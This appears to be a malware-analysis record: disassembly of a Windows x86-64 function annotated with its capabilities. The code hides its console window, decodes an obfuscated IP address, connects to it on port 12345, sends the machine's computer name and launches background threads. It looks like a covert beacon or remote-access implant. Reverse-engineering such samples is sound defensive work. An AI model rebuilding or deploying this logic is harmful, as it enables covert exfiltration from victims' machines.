Function at 0x1400013a0
Capabilities:
Connect socket
Convert ip address from string
Create thread
Get hostname
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x250], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp - 0x80], 1
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rbx
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [0x140006790]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
mov ecx, 0x202
lea rdx, [rbp - 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400014e7
xor r8d, r8d
mov edx, 1
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x1400014e1
mov word [rsp + 0x60], di
mov ecx, 0x3039
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x62], ax
movabs rax, 0xecd8a3c183c215c9
mov qword [rsp + 0x40], rax
movabs rax, 0xe59215c09c9d0fcf
mov qword [rsp + 0x48], rax
movabs rax, 0xddf69bf8adf321f8
mov qword [rbp + 0x140], rax
movabs rax, 0xe59215f8a8af21f8
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x64]
lea rdx, [rsp + 0x40]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001514
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140002100
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov dword [rsp + 0x34], 0x100
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rax, [rbp + 0x150]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140001540
inc r8d
xor r9d, r9d
lea rdx, [rbp + 0x150]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_send]
mov byte [rsp + 0x30], 1
mov ecx, 0x18
call fcn.140002120
lea rcx, [rsp + 0x30]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 8], rcx
lea rcx, [0x1400017e0]
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140002020]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x1400016f0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58], rax
mov ecx, 0x20
call fcn.140002120
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x148]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140002060]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x140], rax
test rax, rax
je 0x1400016de
cmp dword [rbp + 0x148], 0
je 0x1400016d2
movaps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400016d2
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
movabs rdi, 0x7ffffffdabf41bff
movabs rsi, 0x2540be400
movabs rbx, 0x7fffffffffffffff
nop
lea rcx, [rsp + 0x40]
call fcn.1400011a0
mov rax, qword [rsp + 0x40]
cmp rax, rdi
jge 0x1400016bd
lea rcx, [rax + rsi]
mov qword [rbp + 0x140], rcx
lea rcx, [rbp + 0x140]
call fcn.140001e80
jmp 0x140001690
mov qword [rbp + 0x140], rbx
lea rcx, [rbp + 0x140]
call fcn.140001e80
jmp 0x140001690
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x148], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x78], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3